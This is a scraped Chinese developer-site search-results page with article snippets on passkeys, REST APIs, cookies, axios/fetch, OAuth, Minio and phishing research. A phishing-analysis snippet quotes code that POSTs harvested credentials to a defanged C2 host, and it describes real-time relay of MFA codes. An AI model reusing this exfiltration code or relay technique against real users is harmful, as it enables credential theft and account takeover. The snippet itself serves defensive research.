首页
学习
活动
专区
圈层
工具
发布

实战!为你的网站接入 Passkey 通行密钥以实现无密码安全登录

Passkey 则是一种特殊的 Web 认证凭据:与传统的 Web 认证凭据不同, Passkey 可用于同时识别和验证用户,而前者只能用于验证用户信息,不能用来识别用户,这得益于 Passkey 的可发现性...: navigator.credentials.create() (en-US) – 当使用 publicKey 选项时,创建一个新的凭据,无论是用于注册新账号还是将新的非对称密钥凭据与已有的账号关联。...navigator.credentials.get() (en-US) – 当使用 publicKey 选项时,使用一组现有的凭据进行身份验证服务,无论是用于用户登录还是双因素验证中的一步。...; 如果用户身份验证成功,那么浏览器则应该向服务器发起请求,返回上一步调用方法的返回值;服务器将对该值进行验证,如果验证通过,则凭据认证成功,服务器可在更新密钥信息后将用户登录到站点(或者通过 2FA...值得一提的是,以上代码中 $fetch 方法来自于 ofetch 库,我们也可以使用浏览器原生的 fetch 函数乃至 XMLHttpRequest 代替。

4K50

探索RESTful API开发,构建可扩展的Web服务

身份验证及安全性当涉及到RESTful API的安全性时,身份验证是至关重要的。...密码加密在存储用户密码时,应使用适当的密码哈希算法进行加密,并使用盐值来增加安全性。...(PDO::FETCH_ASSOC);使用预处理语句将用户输入作为参数绑定到查询中,而不是直接将其插入查询字符串中,可以有效地防止SQL注入攻击。...跨站脚本(XSS)保护对用户输入进行正确的验证和过滤,以防止XSS攻击。在输出用户提供的数据到网页时,应使用合适的编码方式来转义特殊字符。...限制访问使用角色和权限来限制对敏感资源的访问,确保用户只能访问他们有权限访问的资源。在用户登录时,可以将用户的角色和权限信息存储在令牌中,然后在每个请求中验证用户的角色和权限。5.

1.9K00
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    RESTful API 主流API风格

    宾语:URL 应该全部使用名词复数,可以有例外,比如搜索可以使用更加直观的 search 。 过滤信息(Filtering) 如果记录数量很多,API应该提供参数,过滤返回结果。 ?...HTTP/1.1 303 See Other Location: /api/orders/12345 4xx 状态码 4xx 状态码表示客户端错误,主要有下面几种: 400 Bad Request:服务器不理解客户端的请求...401 Unauthorized:用户未提供身份验证凭据,或者没有通过身份验证。 403 Forbidden:用户通过了身份验证,但是不具有访问资源所需的权限。...405 Method Not Allowed:用户已经通过身份验证,但是所用的 HTTP 方法不在他的权限之内。 410 Gone:所请求的资源已从这个地址转移,不再可用。...5xx 状态码 5xx状态码表示服务端错误。一般来说,API 不会向用户透露服务器的详细信息,所以只要两个状态码就够了。

    3.5K11

    伪装Meta合规通知的钓鱼攻击机制与中小企业防御策略研究

    针对此威胁,本文提出多层次防御框架,涵盖身份验证强化、邮件内容策略优化、终端用户行为引导及安全运营流程改进,并提供可落地的技术实现示例。...C2await fetch('https://api.malicious-c2[.]xyz/collect', {method: 'POST',body: JSON.stringify(Object.fromEntries...2.3 双因素验证码的实时截获若目标账户启用基于OTP的MFA(如Google Authenticator或短信验证码),钓鱼页面会动态追加第二阶段表单:// 在收到密码后,动态插入MFA字段fetch...发起登录请求,触发MFA挑战,再将用户输入的验证码用于完成真实会话建立,实现“实时代理”式凭证复用。...6 实验验证与案例回溯我们在受控环境中复现了该攻击链:创建测试Business Page并启用Authenticator MFA;部署Vercel钓鱼页面,模拟“账号受限”通知;诱导测试用户提交凭据与OTP

    26110

    实用,完整的HTTP cookie指南

    Cookie出现后,我们就会对/api/cities/再次发出Fetch请求。 在浏览器的控制台中,可以看到请求回来 的数据。...这是因为默认情况下,Fetch 仅在请求到达触发请求的来源时才发送凭据,即 Cookie。...: "include" }) 它还必须在第二个请求时出现,以允许将cookie传输回后端 fetch("http://localhost:5000/api/cities/", { credentials...基于会话的身份验证 身份验证是 cookie 最常见的用例之一。 当你访问一个请求身份验证的网站时,后端将通过凭据提交(例如通过表单)在后台发送一个Set-Cookie标头到前端。...每当通过身份验证的用户向后端请求新页面时,浏览器就会发回会话cookie。 基于会话的身份验证是有状态的,因为后端必须跟踪每个用户的会话。

    7.6K40

    axios

    3 fetch 基于Promise设计的,发送请求和获取数据进行了很好的分离。但也有缺点:它是一个较为底层的Api需要自己进行封装。...2️⃣ 处理错误麻烦,只有网络错误才会reject(promise的api),Http状态码404、500不会被标记为reject 3️⃣ 不支持取消一个请求以及查看请求的进度。...特点:在浏览器中发送XMLHttpRequests 请求、在node中发送http请求,支持Promise API 、拦截请求和响应、转换请求和响应数据 总而言之,在脚手架项目中也就是在fetch 和...获取错误信息 在使用Promise的then() API的时候,我们是可以再通过catch API 获得错误异常的。那么 async await这种写法怎么获得错误异常呢?...adapter: function (config) { /* ... */ }, // `auth` 表示应该使用 HTTP 基础验证,并提供凭据 // 这将设置一个 `Authorization

    5.1K10

    【Java】已解决:`org.ietf.jgss.GSSException`

    一、分析问题背景 org.ietf.jgss.GSSException异常通常出现在使用GSS-API进行身份验证的场景中。...GSS-API是一个标准接口,允许应用程序通过一种标准的方式使用不同的安全服务,通常与Kerberos结合使用以实现身份验证。...典型的场景包括: 在客户端与服务器之间建立安全会话时,使用Kerberos进行身份验证。 通过GSS-API获取安全上下文时,未能正确配置或处理凭据。...假设在一个基于Kerberos的身份验证系统中,客户端尝试向服务器发起身份验证请求,并通过GSS-API来处理这一过程。在配置不当或凭据处理错误的情况下,可能会触发GSSException。...协议不匹配:客户端和服务器之间使用的安全协议版本或加密方式不匹配,导致在建立安全上下文时出现异常。

    62110

    RaccoonO365开发者落网背后:一场钓鱼即服务(PaaS)产业链的崩塌与重生

    (request);}这种设计使得钓鱼页面不仅能1:1复刻微软UI,还能返回真实的认证错误(如“密码错误”),极大降低用户怀疑。...),恶意脚本可轻易读取并通过sendBeacon异步回传,即使用户关闭页面也不影响数据传输。...微软通过Cloudflare获取了Samuel注册域名时的元数据,并结合Telegram API日志锁定其设备指纹,最终由FBI将情报移交尼日利亚执法部门。...管理员可通过Microsoft Entra ID策略强制高风险用户使用FIDO2:# 使用Microsoft Graph PowerShell SDK启用FIDO2策略Connect-MgGraph -...企业应定期扫描Have I Been Pwned、DeHashed等泄露数据库,或使用Microsoft Defender for Identity的“泄露凭据警报”功能。

    9510

    HTTP cookie 完整指南

    Cookie出现后,我们就会对/api/cities/再次发出Fetch请求。 在浏览器的控制台中,可以看到请求回来 的数据。...这是因为默认情况下,Fetch 仅在请求到达触发请求的来源时才发送凭据,即 Cookie。...: "include" }) 它还必须在第二个请求时出现,以允许将cookie传输回后端 fetch("http://localhost:5000/api/cities/", { credentials...基于会话的身份验证 身份验证是 cookie 最常见的用例之一。 当你访问一个请求身份验证的网站时,后端将通过凭据提交(例如通过表单)在后台发送一个Set-Cookie标头到前端。...每当通过身份验证的用户向后端请求新页面时,浏览器就会发回会话cookie。 基于会话的身份验证是有状态的,因为后端必须跟踪每个用户的会话。

    5.5K20

    在Minio以STS方式获得临时凭据上传文件

    给与客户端永久凭据无疑是很大风险的,我们还可以选择“给予一个临时凭据,这个凭据关联到一个 授权的用户,我们可以随时停用和修改这个用户具有的权限” Minio提供了STS 的方式来实现这个方法。...MinIO安全令牌服务(STS)API允许应用程序生成用于访问MinIO部署的临时凭据。...Java应用服务通过 使用上面的用户信息 使用 API 可取得临时的 凭据 token 将 临时凭据 给到前端 Web,或者App 前端使用 临时凭据 和 js API 等,进行对象的上传,获得等。...部署和启动 Minio 2.1、安装 wget https://dl.min.io/server/minio/release/linux-amd64//minio chmod +x minio 这时可使用...provider.fetch().sessionToken(); String accessKey = provider.fetch().accessKey(); String

    9.1K20

    从0开始构建一个Oauth2Server服务 AccessToken

    AccessToken 访问令牌是应用程序用来代表用户发出 API 请求的东西。访问令牌代表特定应用程序访问用户数据的特定部分的授权。...本节介绍如何验证令牌请求以及如何返回适当的响应和错误。 授权码请求 Authorization Code Request 当应用程序为访问令牌交换授权代码时,将使用授权代码授予。...验证授权码授予 在检查所有必需的参数并验证客户端(如果客户端已获得凭据)之后,授权服务器可以继续验证请求的其他部分。 服务器然后检查授权代码是否有效,并且没有过期。...Password Grant 密码授权 当应用程序将用户的用户名和密码交换为访问令牌时,将使用密码授权。这正是 OAuth 创建时首先要防止的事情,因此您永远不应允许第三方应用程序使用此授权。...client-credentials 客户凭证 当应用程序请求访问令牌以访问其自己的资源而不是代表用户时,将使用客户端凭据授权。

    1.5K50

    基于Calendly仿冒的中间人钓鱼攻击机制与防御策略研究

    此步骤具有双重目的:提升可信度:验证码是正规网站常见的反自动化机制,其存在使用户误判站点合法性;阻断自动化分析:多数沙箱或爬虫在遇到验证码时会终止执行,从而规避早期检测。...该服务器部署了定制化的AiTM框架,其核心功能如下:实时代理用户与accounts.google.com之间的所有HTTPS请求;在用户提交凭据时,记录明文用户名、密码及后续的MFA响应;注入恶意JavaScript...,平均存活时间不足48小时。...同时,建立内部域名信誉数据库,对新出现的仿冒Calendly域名进行快速标记。...此外,用户教育仍不可或缺,但需升级为“情境化验证训练”:员工应被训练在收到会议邀请时,主动通过公司官网查找HR联系方式进行二次确认,而非依赖邮件中的“回复”功能。

    15510

    ajax和axios、fetch的区别

    ,隶属于原始js中,核心使用XMLHttpRequest对象,多个请求之间如果有先后关系的话,就会出现回调地狱。...catch(e) { console.log("Oops, error", e); } fetch号称是AJAX的替代品,是在ES6出现的,使用了ES6中的promise对象。...更加底层,提供的API丰富(request, response) 5....脱离了XHR,是ES规范里新的实现方式 最近在使用fetch的时候,也遇到了不少的问题: fetch是一个低层次的API,你可以把它考虑成原生的XHR,所以使用起来并不是那么舒服,需要进行封装。...例如: 1)fetch只对网络请求报错,对400,500都当做成功的请求,服务器返回 400,500 错误码时并不会 reject,只有网络错误这些导致请求不能完成时,fetch 才会被 reject。

    1.9K51

    对不起,看完这篇HTTP,真的可以吊打面试官

    缓存验证 当到达缓存资源的有效期时,将对其进行验证或再次获取。仅当服务器提供了强验证器或弱验证器时,才可以进行验证。 当用户按下重新加载按钮时,将触发重新验证。...XMLHttpRequest 在 AJAX 异步编程中使用很广泛。 再来说一下 Fetch API 是什么,Fetch 提供了请求和响应对象(以及其他网络请求)的通用定义。...服务器还可以通知客户端是否应与请求一起发送凭据(例如 Cookies 和 HTTP 身份验证)。 注意:CORS 故障会导致错误,但是出于安全原因,该错误的详细信息不适用于 JavaScript。...比较两个资源是否时相同的版本有些复杂,根据上下文,有两种相等性检查 当期望的是字节对字节进行比较时,例如在恢复下载时,使用强 Etag进行验证 当用户代理需要比较两个资源是否具有相同的内容时,使用若 Etag...如果没有两个用户同时操作服务器,也就不存在这个问题。但是,现实情况是不可能只有单个用户出现的,所以为了规避或者避免这个问题,我们希望客户端资源在更新时进行提示或者修改被拒绝时收到通知。

    7.7K21

    前端优化 之 preload

    Preload的原理 Preload的原理是在浏览器解析HTML文档时,提前加载页面所需的关键资源,如样式表、脚本文件和字体等。...通过预加载这些关键资源,浏览器能够在页面加载时更快地获取所需资源,从而加速页面的渲染过程。下面是一个简单的预加载示例代码: <!...可选值包括: anonymous:表示资源会以匿名身份请求,不会包含凭据信息(如 cookies、HTTP 认证等)。通常用于不需要用户身份验证的公共资源。...use-credentials:表示资源会以凭据身份请求,浏览器会发送包含凭据信息的请求。适用于需要用户身份验证的私有资源。 as属性:该属性用于指定资源的类型。...:其他类型的网络请求 正确属性的重要性 如果设置错误的crossorigin和as属性,将导致预加载失效。

    38910

    RESTful 最佳实践

    本文将介绍如何设计易于理解和使用的 API,并且借助 Docker api 的实践说明。...400 Bad Request:服务器不理解客户端的请求,未做任何处理。 401 Unauthorized:用户未提供身份验证凭据,或者没有通过身份验证。...403 Forbidden:用户通过了身份验证,但是不具有访问资源所需的权限。 404 Not Found:所请求的资源不存在,或不可用。...405 Method Not Allowed:用户已经通过身份验证,但是所用的 HTTP 方法不在他的权限之内。 410 Gone:所请求的资源已从这个地址转移,不再可用。...2.4 5xx 状态码 5xx状态码表示服务端错误。一般来说,API 不会向用户透露服务器的详细信息,所以只要两个状态码就够了。

    1.3K10
    领券